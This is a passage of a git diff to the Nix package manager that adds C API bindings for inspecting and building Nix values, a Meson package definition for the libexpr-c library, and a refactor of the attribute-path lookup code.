NIX_TYPE_FUNCTION; + case nExternal: + return NIX_TYPE_EXTERNAL; + } + return NIX_TYPE_NULL; + } + NIXC_CATCH_ERRS_RES(NIX_TYPE_NULL); +} + +const char * nix_get_typename(nix_c_context * context, const nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + auto s = nix::showType(v); + return strdup(s.c_str()); + } + NIXC_CATCH_ERRS_NULL +} + +bool nix_get_bool(nix_c_context * context, const nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + assert(v.type() == nix::nBool); + return v.boolean(); + } + NIXC_CATCH_ERRS_RES(false); +} + +nix_err +nix_get_string(nix_c_context * context, const nix_value * value, nix_get_string_callback callback, void * user_data) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + assert(v.type() == nix::nString); + call_nix_get_string_callback(v.c_str(), callback, user_data); + } + NIXC_CATCH_ERRS +} + +const char * nix_get_path_string(nix_c_context * context, const nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + assert(v.type() == nix::nPath); + // NOTE (from @yorickvP) + // v._path.path should work but may not be how Eelco intended it. + // Long-term this function should be rewritten to copy some data into a + // user-allocated string. + // We could use v.path().to_string().c_str(), but I'm concerned this + // crashes. Looks like .path() allocates a CanonPath with a copy of the + // string, then it gets the underlying data from that. + return v.payload.path.path; + } + NIXC_CATCH_ERRS_NULL +} + +unsigned int nix_get_list_size(nix_c_context * context, const nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + assert(v.type() == nix::nList); + return v.listSize(); + } + NIXC_CATCH_ERRS_RES(0); +} + +unsigned int nix_get_attrs_size(nix_c_context * context, const nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + assert(v.type() == nix::nAttrs); + return v.attrs()->size(); + } + NIXC_CATCH_ERRS_RES(0); +} + +double nix_get_float(nix_c_context * context, const nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + assert(v.type() == nix::nFloat); + return v.fpoint(); + } + NIXC_CATCH_ERRS_RES(0.0); +} + +int64_t nix_get_int(nix_c_context * context, const nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + assert(v.type() == nix::nInt); + return v.integer().value; + } + NIXC_CATCH_ERRS_RES(0); +} + +ExternalValue * nix_get_external(nix_c_context * context, nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + assert(v.type() == nix::nExternal); + return (ExternalValue *) v.external(); + } + NIXC_CATCH_ERRS_NULL; +} + +nix_value * nix_get_list_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int ix) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + assert(v.type() == nix::nList); + auto * p = v.listElems()[ix]; + nix_gc_incref(nullptr, p); + if (p != nullptr) + state->state.forceValue(*p, nix::noPos); + return as_nix_value_ptr(p); + } + NIXC_CATCH_ERRS_NULL +} + +nix_value * nix_get_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + assert(v.type() == nix::nAttrs); + nix::Symbol s = state->state.symbols.create(name); + auto attr = v.attrs()->get(s); + if (attr) { + nix_gc_incref(nullptr, attr->value); + state->state.forceValue(*attr->value, nix::noPos); + return as_nix_value_ptr(attr->value); + } + nix_set_err_msg(context, NIX_ERR_KEY, "missing attribute"); + return nullptr; + } + NIXC_CATCH_ERRS_NULL +} + +bool nix_has_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + assert(v.type() == nix::nAttrs); + nix::Symbol s = state->state.symbols.create(name); + auto attr = v.attrs()->get(s); + if (attr) + return true; + return false; + } + NIXC_CATCH_ERRS_RES(false); +} + +nix_value * nix_get_attr_byidx( + nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i, const char ** name) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + const nix::Attr & a = (*v.attrs())[i]; + *name = state->state.symbols[a.name].c_str(); + nix_gc_incref(nullptr, a.value); + state->state.forceValue(*a.value, nix::noPos); + return as_nix_value_ptr(a.value); + } + NIXC_CATCH_ERRS_NULL +} + +const char * +nix_get_attr_name_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + const nix::Attr & a = (*v.attrs())[i]; + return state->state.symbols[a.name].c_str(); + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_init_bool(nix_c_context * context, nix_value * value, bool b) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + v.mkBool(b); + } + NIXC_CATCH_ERRS +} + +// todo string context +nix_err nix_init_string(nix_c_context * context, nix_value * value, const char * str) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + v.mkString(std::string_view(str)); + } + NIXC_CATCH_ERRS +} + +nix_err nix_init_path_string(nix_c_context * context, EvalState * s, nix_value * value, const char * str) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + v.mkPath(s->state.rootPath(nix::CanonPath(str))); + } + NIXC_CATCH_ERRS +} + +nix_err nix_init_float(nix_c_context * context, nix_value * value, double d) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + v.mkFloat(d); + } + NIXC_CATCH_ERRS +} + +nix_err nix_init_int(nix_c_context * context, nix_value * value, int64_t i) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + v.mkInt(i); + } + NIXC_CATCH_ERRS +} + +nix_err nix_init_null(nix_c_context * context, nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + v.mkNull(); + } + NIXC_CATCH_ERRS +} + +nix_err nix_init_apply(nix_c_context * context, nix_value * value, nix_value * fn, nix_value * arg) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + auto & f = check_value_not_null(fn); + auto & a = check_value_not_null(arg); + v.mkApp(&f, &a); + } + NIXC_CATCH_ERRS +} + +nix_err nix_init_external(nix_c_context * context, nix_value * value, ExternalValue * val) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + auto r = (nix::ExternalValueBase *) val; + v.mkExternal(r); + } + NIXC_CATCH_ERRS +} + +ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, size_t capacity) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto builder = state->state.buildList(capacity); + return new +#if HAVE_BOEHMGC + (NoGC) +#endif + ListBuilder{std::move(builder)}; + } + NIXC_CATCH_ERRS_NULL +} + +nix_err +nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & e = check_value_not_null(value); + list_builder->builder[index] = &e; + } + NIXC_CATCH_ERRS +} + +void nix_list_builder_free(ListBuilder * list_builder) +{ +#if HAVE_BOEHMGC + GC_FREE(list_builder); +#else + delete list_builder; +#endif +} + +nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + v.mkList(list_builder->builder); + } + NIXC_CATCH_ERRS +} + +nix_err nix_init_primop(nix_c_context * context, nix_value * value, PrimOp * p) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + v.mkPrimOp((nix::PrimOp *) p); + } + NIXC_CATCH_ERRS +} + +nix_err nix_copy_value(nix_c_context * context, nix_value * value, const nix_value * source) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + auto & s = check_value_in(source); + v = s; + } + NIXC_CATCH_ERRS +} + +nix_err nix_make_attrs(nix_c_context * context, nix_value * value, BindingsBuilder * b) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_out(value); + v.mkAttrs(b->builder); + } + NIXC_CATCH_ERRS +} + +BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState * state, size_t capacity) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto bb = state->state.buildBindings(capacity); + return new +#if HAVE_BOEHMGC + (NoGC) +#endif + BindingsBuilder{std::move(bb)}; + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * bb, const char * name, nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + nix::Symbol s = bb->builder.state.symbols.create(name); + bb->builder.insert(s, &v); + } + NIXC_CATCH_ERRS +} + +void nix_bindings_builder_free(BindingsBuilder * bb) +{ +#if HAVE_BOEHMGC + GC_FREE((nix::BindingsBuilder *) bb); +#else + delete (nix::BindingsBuilder *) bb; +#endif +} + +nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, nix_value * value, bool isIFD) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + nix::NixStringContext stringContext; + auto rawStr = state->state.coerceToString(nix::noPos, v, stringContext, "while realising a string").toOwned(); + nix::StorePathSet storePaths; + auto rewrites = state->state.realiseContext(stringContext, &storePaths); + + auto s = nix::rewriteStrings(rawStr, rewrites); + + // Convert to the C API StorePath type and convert to vector for index-based access + std::vector vec; + for (auto & sp : storePaths) { + vec.push_back(StorePath{sp}); + } + + return new nix_realised_string{.str = s, .storePaths = vec}; + } + NIXC_CATCH_ERRS_NULL +} + +void nix_realised_string_free(nix_realised_string * s) +{ + delete s; +} + +size_t nix_realised_string_get_buffer_size(nix_realised_string * s) +{ + return s->str.size(); +} + +const char * nix_realised_string_get_buffer_start(nix_realised_string * s) +{ + return s->str.data(); +} + +size_t nix_realised_string_get_store_path_count(nix_realised_string * s) +{ + return s->storePaths.size(); +} + +const StorePath * nix_realised_string_get_store_path(nix_realised_string * s, size_t i) +{ + return &s->storePaths[i]; +} diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h new file mode 100644 index 000000000..044f68c9e --- /dev/null +++ b/src/libexpr-c/nix_api_value.h @@ -0,0 +1,537 @@ +#ifndef NIX_API_VALUE_H +#define NIX_API_VALUE_H + +/** @addtogroup libexpr + * @{ + */ +/** @file + * @brief libexpr C bindings dealing with values + */ + +#include "nix_api_util.h" +#include "nix_api_store.h" +#include "stdbool.h" +#include "stddef.h" +#include "stdint.h" + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +// Type definitions +typedef enum { + NIX_TYPE_THUNK, + NIX_TYPE_INT, + NIX_TYPE_FLOAT, + NIX_TYPE_BOOL, + NIX_TYPE_STRING, + NIX_TYPE_PATH, + NIX_TYPE_NULL, + NIX_TYPE_ATTRS, + NIX_TYPE_LIST, + NIX_TYPE_FUNCTION, + NIX_TYPE_EXTERNAL +} ValueType; + +// forward declarations +typedef struct nix_value nix_value; +typedef struct EvalState EvalState; + +[[deprecated("use nix_value instead")]] typedef nix_value Value; + +// type defs +/** @brief Stores an under-construction set of bindings + * @ingroup value_manip + * + * Do not reuse. + * @see nix_make_bindings_builder, nix_bindings_builder_free, nix_make_attrs + * @see nix_bindings_builder_insert + */ +typedef struct BindingsBuilder BindingsBuilder; + +/** @brief Stores an under-construction list + * @ingroup value_manip + * + * Do not reuse. + * @see nix_make_list_builder, nix_list_builder_free, nix_make_list + * @see nix_list_builder_insert + */ +typedef struct ListBuilder ListBuilder; + +/** @brief PrimOp function + * @ingroup primops + * + * Owned by the GC + * @see nix_alloc_primop, nix_init_primop + */ +typedef struct PrimOp PrimOp; +/** @brief External Value + * @ingroup Externals + * + * Owned by the GC + */ +typedef struct ExternalValue ExternalValue; + +/** @brief String without placeholders, and realised store paths + */ +typedef struct nix_realised_string nix_realised_string; + +/** @defgroup primops + * @brief Create your own primops + * @{ + */ +/** @brief Function pointer for primops + * + * When you want to return an error, call nix_set_err_msg(context, NIX_ERR_UNKNOWN, "your error message here"). + * + * @param[in] user_data Arbitrary data that was initially supplied to nix_alloc_primop + * @param[out] context Stores error information. + * @param[in] state Evaluator state + * @param[in] args list of arguments. Note that these can be thunks and should be forced using nix_value_force before + * use. + * @param[out] ret return value + * @see nix_alloc_primop, nix_init_primop + */ +typedef void (*PrimOpFun)( + void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret); + +/** @brief Allocate a PrimOp + * + * Owned by the garbage collector. + * Use nix_gc_decref() when you're done with the returned PrimOp. + * + * @param[out] context Optional, stores error information + * @param[in] fun callback + * @param[in] arity expected number of function arguments + * @param[in] name function name + * @param[in] args array of argument names, NULL-terminated + * @param[in] doc optional, documentation for this primop + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called + * @return primop, or null in case of errors + * @see nix_init_primop + */ +PrimOp * nix_alloc_primop( + nix_c_context * context, + PrimOpFun fun, + int arity, + const char * name, + const char ** args, + const char * doc, + void * user_data); + +/** @brief add a primop to the `builtins` attribute set + * + * Only applies to States created after this call. + * + * Moves your PrimOp content into the global evaluator + * registry, meaning your input PrimOp pointer is no longer usable. + * You are free to remove your references to it, + * after which it will be garbage collected. + * + * @param[out] context Optional, stores error information + * @return primop, or null in case of errors + * + */ +nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp); +/** @} */ + +// Function prototypes + +/** @brief Allocate a Nix value + * + * Owned by the GC. Use nix_gc_decref() when you're done with the pointer + * @param[out] context Optional, stores error information + * @param[in] state nix evaluator state + * @return value, or null in case of errors + * + */ +nix_value * nix_alloc_value(nix_c_context * context, EvalState * state); + +/** + * @brief Increment the garbage collector reference counter for the given `nix_value`. + * + * The Nix language evaluator C API keeps track of alive objects by reference counting. + * When you're done with a refcounted pointer, call nix_value_decref(). + * + * @param[out] context Optional, stores error information + * @param[in] value The object to keep alive + */ +nix_err nix_value_incref(nix_c_context * context, nix_value * value); + +/** + * @brief Decrement the garbage collector reference counter for the given object + * + * @param[out] context Optional, stores error information + * @param[in] value The object to stop referencing + */ +nix_err nix_value_decref(nix_c_context * context, nix_value * value); + +/** @addtogroup value_manip Manipulating values + * @brief Functions to inspect and change Nix language values, represented by nix_value. + * @{ + */ +/** @anchor getters + * @name Getters + */ +/**@{*/ +/** @brief Get value type + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return type of nix value + */ +ValueType nix_get_type(nix_c_context * context, const nix_value * value); + +/** @brief Get type name of value as defined in the evaluator + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return type name, owned string + * @todo way to free the result + */ +const char * nix_get_typename(nix_c_context * context, const nix_value * value); + +/** @brief Get boolean value + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return true or false, error info via context + */ +bool nix_get_bool(nix_c_context * context, const nix_value * value); + +/** @brief Get the raw string + * + * This may contain placeholders. + * + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] callback Called with the string value. + * @param[in] user_data optional, arbitrary data, passed to the callback when it's called. + * @return string + * @return error code, NIX_OK on success. + */ +nix_err +nix_get_string(nix_c_context * context, const nix_value * value, nix_get_string_callback callback, void * user_data); + +/** @brief Get path as string + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return string + * @return NULL in case of error. + */ +const char * nix_get_path_string(nix_c_context * context, const nix_value * value); + +/** @brief Get the length of a list + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return length of list, error info via context + */ +unsigned int nix_get_list_size(nix_c_context * context, const nix_value * value); + +/** @brief Get the element count of an attrset + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return attrset element count, error info via context + */ +unsigned int nix_get_attrs_size(nix_c_context * context, const nix_value * value); + +/** @brief Get float value in 64 bits + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return float contents, error info via context + */ +double nix_get_float(nix_c_context * context, const nix_value * value); + +/** @brief Get int value + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return int contents, error info via context + */ +int64_t nix_get_int(nix_c_context * context, const nix_value * value); + +/** @brief Get external reference + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @return reference to external, NULL in case of error + */ +ExternalValue * nix_get_external(nix_c_context * context, nix_value *); + +/** @brief Get the ix'th element of a list + * + * Owned by the GC. Use nix_gc_decref when you're done with the pointer + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] state nix evaluator state + * @param[in] ix list element to get + * @return value, NULL in case of errors + */ +nix_value * nix_get_list_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int ix); + +/** @brief Get an attr by name + * + * Owned by the GC. Use nix_gc_decref when you're done with the pointer + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] state nix evaluator state + * @param[in] name attribute name + * @return value, NULL in case of errors + */ +nix_value * nix_get_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name); + +/** @brief Check if an attribute name exists on a value + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] state nix evaluator state + * @param[in] name attribute name + * @return value, error info via context + */ +bool nix_has_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name); + +/** @brief Get an attribute by index in the sorted bindings + * + * Also gives you the name. + * + * Owned by the GC. Use nix_gc_decref when you're done with the pointer + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] state nix evaluator state + * @param[in] i attribute index + * @param[out] name will store a pointer to the attribute name + * @return value, NULL in case of errors + */ +nix_value * nix_get_attr_byidx( + nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i, const char ** name); + +/** @brief Get an attribute name by index in the sorted bindings + * + * Useful when you want the name but want to avoid evaluation. + * + * Owned by the nix EvalState + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] state nix evaluator state + * @param[in] i attribute index + * @return name, NULL in case of errors + */ +const char * +nix_get_attr_name_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i); + +/**@}*/ +/** @name Initializers + * + * Values are typically "returned" by initializing already allocated memory that serves as the return value. + * For this reason, the construction of values is not tied their allocation. + * Nix is a language with immutable values. Respect this property by only initializing Values once; and only initialize + * Values that are meant to be initialized by you. Failing to adhere to these rules may lead to undefined behavior. + */ +/**@{*/ +/** @brief Set boolean value + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] b the boolean value + * @return error code, NIX_OK on success. + */ +nix_err nix_init_bool(nix_c_context * context, nix_value * value, bool b); + +/** @brief Set a string + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] str the string, copied + * @return error code, NIX_OK on success. + */ +nix_err nix_init_string(nix_c_context * context, nix_value * value, const char * str); + +/** @brief Set a path + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] str the path string, copied + * @return error code, NIX_OK on success. + */ +nix_err nix_init_path_string(nix_c_context * context, EvalState * s, nix_value * value, const char * str); + +/** @brief Set a float + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] d the float, 64-bits + * @return error code, NIX_OK on success. + */ +nix_err nix_init_float(nix_c_context * context, nix_value * value, double d); + +/** @brief Set an int + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] i the int + * @return error code, NIX_OK on success. + */ + +nix_err nix_init_int(nix_c_context * context, nix_value * value, int64_t i); +/** @brief Set null + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @return error code, NIX_OK on success. + */ +nix_err nix_init_null(nix_c_context * context, nix_value * value); + +/** @brief Set the value to a thunk that will perform a function application when needed. + * + * Thunks may be put into attribute sets and lists to perform some computation lazily; on demand. + * However, note that in some places, a thunk must not be returned, such as in the return value of a PrimOp. + * In such cases, you may use nix_value_call() instead (but note the different argument order). + * + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] fn function to call + * @param[in] arg argument to pass + * @return error code, NIX_OK on successful initialization. + * @see nix_value_call() for a similar function that performs the call immediately and only stores the return value. + * Note the different argument order. + */ +nix_err nix_init_apply(nix_c_context * context, nix_value * value, nix_value * fn, nix_value * arg); + +/** @brief Set an external value + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] val the external value to set. Will be GC-referenced by the value. + * @return error code, NIX_OK on success. + */ +nix_err nix_init_external(nix_c_context * context, nix_value * value, ExternalValue * val); + +/** @brief Create a list from a list builder + * @param[out] context Optional, stores error information + * @param[in] list_builder list builder to use. Make sure to unref this afterwards. + * @param[out] value Nix value to modify + * @return error code, NIX_OK on success. + */ +nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, nix_value * value); + +/** @brief Create a list builder + * @param[out] context Optional, stores error information + * @param[in] state nix evaluator state + * @param[in] capacity how many bindings you'll add. Don't exceed. + * @return owned reference to a list builder. Make sure to unref when you're done. + */ +ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, size_t capacity); + +/** @brief Insert bindings into a builder + * @param[out] context Optional, stores error information + * @param[in] list_builder ListBuilder to insert into + * @param[in] index index to manipulate + * @param[in] value value to insert + * @return error code, NIX_OK on success. + */ +nix_err +nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, nix_value * value); + +/** @brief Free a list builder + * + * Does not fail. + * @param[in] builder the builder to free + */ +void nix_list_builder_free(ListBuilder * list_builder); + +/** @brief Create an attribute set from a bindings builder + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] b bindings builder to use. Make sure to unref this afterwards. + * @return error code, NIX_OK on success. + */ +nix_err nix_make_attrs(nix_c_context * context, nix_value * value, BindingsBuilder * b); + +/** @brief Set primop + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] op primop, will be gc-referenced by the value + * @see nix_alloc_primop + * @return error code, NIX_OK on success. + */ +nix_err nix_init_primop(nix_c_context * context, nix_value * value, PrimOp * op); +/** @brief Copy from another value + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] source value to copy from + * @return error code, NIX_OK on success. + */ +nix_err nix_copy_value(nix_c_context * context, nix_value * value, const nix_value * source); +/**@}*/ + +/** @brief Create a bindings builder +* @param[out] context Optional, stores error information +* @param[in] state nix evaluator state +* @param[in] capacity how many bindings you'll add. Don't exceed. +* @return owned reference to a bindings builder. Make sure to unref when you're +done. +*/ +BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState * state, size_t capacity); + +/** @brief Insert bindings into a builder + * @param[out] context Optional, stores error information + * @param[in] builder BindingsBuilder to insert into + * @param[in] name attribute name, only used for the duration of the call. + * @param[in] value value to give the binding + * @return error code, NIX_OK on success. + */ +nix_err +nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * builder, const char * name, nix_value * value); + +/** @brief Free a bindings builder + * + * Does not fail. + * @param[in] builder the builder to free + */ +void nix_bindings_builder_free(BindingsBuilder * builder); +/**@}*/ + +/** @brief Realise a string context. + * + * This will + * - realise the store paths referenced by the string's context, and + * - perform the replacement of placeholders. + * - create temporary garbage collection roots for the store paths, for + * the lifetime of the current process. + * - log to stderr + * + * @param[out] context Optional, stores error information + * @param[in] value Nix value, which must be a string + * @param[in] state Nix evaluator state + * @param[in] isIFD If true, disallow derivation outputs if setting `allow-import-from-derivation` is false. + You should set this to true when this call is part of a primop. + You should set this to false when building for your application's purpose. + * @return NULL if failed, are a new nix_realised_string, which must be freed with nix_realised_string_free + */ +nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, nix_value * value, bool isIFD); + +/** @brief Start of the string + * @param[in] realised_string + * @return pointer to the start of the string. It may not be null-terminated. + */ +const char * nix_realised_string_get_buffer_start(nix_realised_string * realised_string); + +/** @brief Length of the string + * @param[in] realised_string + * @return length of the string in bytes + */ +size_t nix_realised_string_get_buffer_size(nix_realised_string * realised_string); + +/** @brief Number of realised store paths + * @param[in] realised_string + * @return number of realised store paths that were referenced by the string via its context + */ +size_t nix_realised_string_get_store_path_count(nix_realised_string * realised_string); + +/** @brief Get a store path. The store paths are stored in an arbitrary order. + * @param[in] realised_string + * @param[in] index index of the store path, must be less than the count + * @return store path + */ +const StorePath * nix_realised_string_get_store_path(nix_realised_string * realised_string, size_t index); + +/** @brief Free a realised string + * @param[in] realised_string + */ +void nix_realised_string_free(nix_realised_string * realised_string); + +// cffi end +#ifdef __cplusplus +} +#endif + +/** @} */ +#endif // NIX_API_VALUE_H diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix new file mode 100644 index 000000000..eb42195a4 --- /dev/null +++ b/src/libexpr-c/package.nix @@ -0,0 +1,74 @@ +{ lib +, stdenv +, mkMesonDerivation + +, meson +, ninja +, pkg-config + +, nix-store-c +, nix-expr + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-expr-c"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-store-c + nix-expr + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libexpr/.version b/src/libexpr/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libexpr/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libexpr/attr-path.cc b/src/libexpr/attr-path.cc index 94ab60f9a..2f67260c5 100644 --- a/src/libexpr/attr-path.cc +++ b/src/libexpr/attr-path.cc @@ -1,6 +1,5 @@ #include "attr-path.hh" #include "eval-inline.hh" -#include "util.hh" namespace nix { @@ -66,18 +65,18 @@ std::pair findAlongAttrPath(EvalState & state, const std::strin if (!attrIndex) { if (v->type() != nAttrs) - throw TypeError( + state.error( "the expression selected by the selection path '%1%' should be a set but is %2%", attrPath, - showType(*v)); + showType(*v)).debugThrow(); if (attr.empty()) throw Error("empty attribute name in selection path '%1%'", attrPath); - Bindings::iterator a = v->attrs->find(state.symbols.create(attr)); - if (a == v->attrs->end()) { + auto a = v->attrs()->get(state.symbols.create(attr)); + if (!a) { std::set attrNames; - for (auto & attr : *v->attrs) - attrNames.insert(state.symbols[attr.name]); + for (auto & attr : *v->attrs()) + attrNames.insert(std::string(state.symbols[attr.name])); auto suggestions = Suggestions::bestMatches(attrNames, attr); throw AttrPathNotFound(suggestions, "attribute '%1%' in selection path '%2%' not found", attr, attrPath); @@ -89,10 +88,10 @@ std::pair findAlongAttrPath(EvalState & state, const std::strin else { if (!v->isList()) - throw TypeError( + state.error( "the expression selected by the selection path '%1%' should be a list but is %2%", attrPath, - showType(*v)); + showType(*v)).debugThrow(); if (*attrIndex >= v->listSize()) throw AttrPathNotFound("list index %1% in selection path '%2%' is out of range", *attrIndex, attrPath); @@ -106,7 +105,7 @@ std::pair findAlongAttrPath(EvalState & state, const std::strin } -std::pair findPackageFilename(EvalState & state, Value & v, std::string what) +std::pair findPackageFilename(EvalState & state, Value & v, std::string what) { Value * v2; try { @@ -118,21 +117,25 @@ std::pair findPackageFilename(EvalState & state, Value & // FIXME: is it possible to extract the Pos object instead of doing this // toString + parsing? - auto pos = state.forceString(*v2); + NixStringContext context; + auto path = state.coerceToPath(noPos, *v2, context, "while evaluating the 'meta.position' attribute of a derivation"); - auto colon = pos.rfind(':'); - if (colon == std::string::npos) - throw ParseError("cannot parse meta.position attribute '%s'", pos); + auto fn = path.path.abs(); + + auto fail = [fn]() { + throw ParseError("cannot parse 'meta.position' attribute '%s'", fn); + }; - std::string filename(pos, 0, colon); - unsigned int lineno; try { - lineno = std::stoi(std::string(pos, colon + 1, std::string::npos)); + auto colon = fn.rfind(':'); + if (colon == std::string::npos) fail(); + std::string filename(fn, 0, colon); + auto lineno = std::stoi(std::string(fn, colon + 1, std::string::npos)); + return {SourcePath{path.accessor, CanonPath(fn.substr(0, colon))}, lineno}; } catch (std::invalid_argument & e) { - throw ParseError("cannot parse line number '%s'", pos); + fail(); + unreachable(); } - - return { std::move(filename), lineno }; } diff --git a/src/libexpr/attr-path.hh b/src/libexpr/attr-path.hh index 117e0051b..eb00ffb93 100644 --- a/src/libexpr/attr-path.hh +++ b/src/libexpr/attr-path.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "eval.hh" @@ -16,8 +17,10 @@ std::pair findAlongAttrPath( Bindings & autoArgs, Value & vIn); -/* Heuristic to find the filename and lineno or a nix value. */ -std::pair findPackageFilename(EvalState & state, Value & v, std::string what); +/** + * Heuristic to find the filename and lineno or a nix value. + */ +std::pair findPackageFilename(EvalState & state, Value & v, std::string what); std::vector parseAttrPath(EvalState & state, std::string_view s); diff --git a/src/libexpr/attr-set.cc 